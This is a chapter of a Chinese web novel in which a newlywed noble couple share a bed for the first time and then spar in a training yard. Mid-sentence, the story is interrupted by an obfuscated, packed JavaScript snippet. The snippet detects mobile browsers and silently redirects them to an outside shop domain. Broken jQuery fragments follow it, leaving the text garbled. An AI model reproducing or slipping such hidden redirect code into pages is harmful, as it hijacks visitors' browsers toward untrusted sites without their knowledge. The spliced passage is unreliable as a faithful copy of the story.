文趣网 > 其他小说 > 真千金回府创翻众人 > 43. 睡觉
    林知漾一心扑在铺子整改的琐事上,待天边日落沉尽,她才坐上回府的马车,猛地想起一桩棘手的事。

    今晚谢宁不会睡床吧?

    虽心里打定主意要接受世子夫人这个身份,但骤然同床共枕,难免尴尬。

    因思忖此事,从府门到寝院,林知漾步履放得极缓,硬生生耗了许久,等她踏进屋内,天色已彻底暗了下来。

    屋内烛火柔和,谢宁撑着脑袋坐在桌前,一桌菜肴一口未动。

    林知漾看见这一幕微微愣住。

    见她回来,谢宁当即吩咐一旁伺候的侍女,“饭菜都凉了,快拿去热一热。”

    林知漾挨着桌边坐下,谢宁似乎并未察觉她的异样,给她斟了杯温热的茶,递到她面前,“忙活一下午,肯定累坏了吧,喝点茶水润润嗓子。”

    林知漾接过茶水,余光无意间扫过他的手掌,只见他白皙的手面落着好几道结痂的伤疤。

    动作快过念头,她一把抓住他的手,目光落在那些伤痕上:“你手上这些伤是怎么回事?”

    谢宁缩了缩指尖,神色有些不自在,“一点无关紧要的小伤罢了。”

    林知漾却不肯作罢,“你往日出门路都懒得走,向来坐马车,身旁还有侍卫环绕,怎么会受伤?难不成又遇见刺客了?”

    “没有。”谢宁连忙打断她危险的猜想,垂眸支支吾吾道:“习武弄的。”

    说完,对面的人却没反应,谢宁抬眼望去,只见林知漾缓缓端起茶杯,抿了一口。

    他眨了眨眼,“我习武了,你就没什么想说的?”

    林知漾淡淡道:“早就瞧出来了。”

    谢宁肩膀倏地一松。

    待二人用完晚膳,夜里就寝这件事又开始萦绕在林知漾心头。

    她悄悄留意着谢宁的举动,夜深之后,谢宁抱来被褥,蹲在地上铺好,林知漾百感交集。

    “眼看快要入冬,地上寒气重,你睡着冷吗?”

    正铺平被褥的谢宁闻言一顿,这垫得再厚也贴着地气,夜里的确寒凉,但他哪能承认,只道:“无妨。”

    看着谢宁这般迁就自己,林知漾忽然觉得于心不忍。

    谢宁见她穿着单薄的寝袍坐在床榻边发呆,忍不住催促道:“你快盖好被子,小心着凉。”

    他不知道的是林知漾正在心里劝说自己,既然打定主意放下隔阂,不妨大胆往前迈一步。

    纵然内心局促,仍然需要不断给自己打气,但她决定的事情,就一定要做。

    林知漾道:“你来床上睡吧。”

    谢宁:“啊?”

    林知漾飞快避开他的视线,语速极快掩饰自己的尴尬:“反正这床足够宽敞,我们各自睡一边,互不打扰便是。”

    说着她夺走谢宁放在地铺上的枕头,横置在床中间。

    “这是界限,不许跨过这边,若是越界。”

    她看着谢宁,抬手做出一个手刃姿势。

    看着她故作凶狠的模样,谢宁嘴角微微上扬,“放心,我睡觉向来安分老实。”

    林知漾躺下后侧过身,背对着他,低声说道:“但愿如此。”

    两人睡下后,芙蓉照惯例进屋剪去灯芯,屋内瞬间暗了下去,她忽然瞥向地面,原本每晚睡在那里的世子不见了踪影。

    芙蓉心头一惊,悄悄抬眼望向垂落的床帘。

    关上房门的那一刻,芙蓉一把攥住百合的肩膀,朝屋内指了指。

    百合一脸不解地望着她,芙蓉又伸出两根手指,将指尖贴在一起,百合瞬间反应过来,险些惊呼出声,连忙捂住嘴巴,“少夫人与世子……”

    芙蓉点了点头,示意她压低动静。

    寝帐之内,谢宁明明前一晚彻夜未眠,白日里只稍作歇息,方才打地铺时还困得不行,此刻躺在床上却毫无睡意。

    身侧人呼吸慢慢变得绵长,往日他睡在地上,就发觉她入睡很快,睡得也十分沉。

    谢宁小心侧过头,借着极淡的月光,视线落在少女铺散在枕间的长发上。

    他犹豫许久,将手从被褥里探出,越过楚河汉界,指尖碰到了她的发尾,如他猜想的那般顺滑柔软,他不敢停留太久,很快便收回了手,装作什么都没发生过一般闭上眼,酝酿困意。

    不知过了多久,谢宁在朦胧睡意里,感觉到脖颈一阵阵发痒,身上还有不轻的重量,他侧过脸一挪,脸颊蹭到一片细腻的肌肤,瞬间让他清醒过来。

    垂眸一看,林知漾不知何时靠了过来,将头埋在他颈窝里,一只胳膊横在他胸前,一条腿压在他……腿上。

    看清这一切的谢宁倒吸一口凉气,小心翼翼挪动自己的下半身,尽量避开她的腿。

    外面的天似乎才泛白,依照林知漾的习惯,她还会再睡一两个时辰。

    颈侧与脸颊连接的地方贴着她的额头,谢宁能清晰感受到她温热的呼吸,鼻尖萦绕着独属于她淡淡的香味。

    大清早,谢宁心绪翻涌,浑身燥热,僵着身子一动不敢动,只能抬头望着头顶垂落的床帐。

    下一瞬,身旁的人动了动,谢宁以为她要醒了,心瞬间被提了起来,谁知林知漾只是浅浅掀开眼皮,困倦地又蹭了蹭他,调整一个更舒服的姿势,再次沉睡。

    谢宁无可奈何,只能保持僵硬的姿势,任由她靠着自己,一直等到天光漏进,四肢都快麻木,林知漾喉咙里忽然溢出一声呜咽,慢慢睁开眼睛。

    半晌之后,她猛地坐起身来。

    突如其来的动静吓得谢宁心头一跳。

    “你醒了?”他声音沙哑,率先打破沉默。

    “你昨晚……”林知漾睁圆双眼错愕地盯着他,那神情仿佛是他做了什么伤天害理的事情。

    谢宁大呼冤枉,赶紧坐起身,伸手指向她身后宽阔的床铺,“是你越界了,可不是我的问题,你瞧瞧你后面空了好大一片,我都快要被挤下床了。”

    林知漾回头一看,果真留出一大片空余位置,而谢宁堪堪睡在床边。

    她别开视线,脸颊发烫,昨夜还特意警告谢宁,没想到出糗的居然是自己。

    谢宁瞧她耳尖红得快要滴血,打趣道:“你不知道自己睡觉什么样子吗?”

    林知漾又羞又窘,不受控制地抬高音量,“我又没和别人睡过!”

    谢宁反应极快地捂住了她的嘴,“小声一点,你这般大声嚷嚷,不出半日,整个镇国公府都知道我们一起睡了。”

    话越说越古怪,林知漾气恼,咬了他一口。

    谢宁吃痛,“嘶”的一声,收回了手。

    林知漾抬眸瞪他,“这不很正常吗?”

    他们本就是夫妻,同榻而眠理所应当,不睡在一起才奇怪呢。

    虽然嘴上逞能,但心底的羞恼半点没消下去,林知漾气不过又踹了谢宁一脚,“还不快下去!”

    她浑身透着不好惹的气息,谢宁哪里敢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723542|204617||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跟她计较,连忙顺着她的力道起身下床。

    刚迈出没几步,身后忽然传来林知漾的声音。

    “等等。”

    谢宁脚步一顿,回过头去,“怎么了?”

    林知漾坐在原处,隔着轻纱,谢宁看不清她的神情,只听见她缓缓道:“你不是近日一直在习武吗?等会儿空闲了,我们切磋一番,让我看看你学得怎么样了。”

    “你是想借机报复我吧。”谢宁瞬间猜出她的小心思。

    林知漾“哼”了一声,没有回答。

    早饭过后,二人来到后院的内武场。

    地面铺着黄沙,偌大的兵器架靠墙排开,长枪、长剑、短刀等整齐陈列,在日光下泛着冷光。

    林知漾换上一身暗红色束身劲装,线条利落,她示意谢宁看架子上的兵器,“挑一把趁手的吧。”

    谢宁同样一身玄色劲装,“不必了吧,只是简单切磋,何必舞刀弄枪。”

    一旁,两人的贴身侍从分立两侧,百合与芙蓉一副看好戏的神情,千升则一脸担忧。

    武场远处的墙角后,还躲着两三个大胆的仆从,悄悄探出头,远远张望。

    林知漾眉眼弯弯,“也行,我可以先让你几招。”

    谢宁顺势接话,“让我一百招行不行?”

    林知漾忍不住笑出声,“你可真不要脸。”

    谢宁摊了摊手,“这种时候,自然是自身安危最重要。”

    两人相对站定,林知漾双手背在身后,“我让你十招,尽管出手。”

    谢宁敛起玩笑神态,沉下心神,微风轻轻拂动二人的衣摆,他依着平日练习的章法,率先发起攻势。

    他练拳时日尚短,力道不够猛,速度也算不上快,但每一招一式都章法清晰,有模有样,毫无初学者的慌乱僵硬。

    五招过后,他竟摸清了林知漾的躲闪习惯,不再固定进攻招式。

    一旁围观的人看得目不转睛,连林知漾眼底都掠过一丝惊讶。

    十招转瞬即逝,谢宁最后一掌打出,林知漾的手骤然从身后探出,动作迅疾,谢宁由攻转防,仓促之间接连格挡下她几记短劲,几番招架下来依旧落了下风。

    林知漾趁着谢宁还手的空档,精准扣住他的手臂,谢宁失去重心,避之不及,瞬间被牢牢制住。

    不过片刻,方才还攻防有序的切磋结束。

    谢宁被按住右肩,动弹不得,只能抬起左手,朝林知漾比了个大拇指,“还是夫人厉害,我甘拜下风。”

    两人切磋完毕,林知漾汗都没出,从前她在沈家,常年被师父压制,少有像这样压制对手的机会,晨起的恼羞成怒因此散尽。

    她松开手,后退半步,“你学多久了?”

    在她印象里,谢宁半点拳脚功底都没有,翻墙都需要踩着侍从,如今实战起来,招式和反应都远超她的预想。

    谢宁扭了扭自己的右胳膊,“几个月了。”

    “几个月是多少?”林知漾追问。

    “三个月。”

    林知漾恍然,提起三个月前,她第一时间想起的是他们两人遇刺,滚下山坡,她脚受伤,谢宁不会武功,两人憋屈躲在荒废的院子里。

    想来他是因此动了习武的念头,从前矜贵散漫的少年,现在甘愿日日苦练,林知漾心头一软,“三个月就练成这样,很厉害嘛。”

    谢宁眼眸瞬间一亮,嘴角高扬,“不枉费我近来的努力。”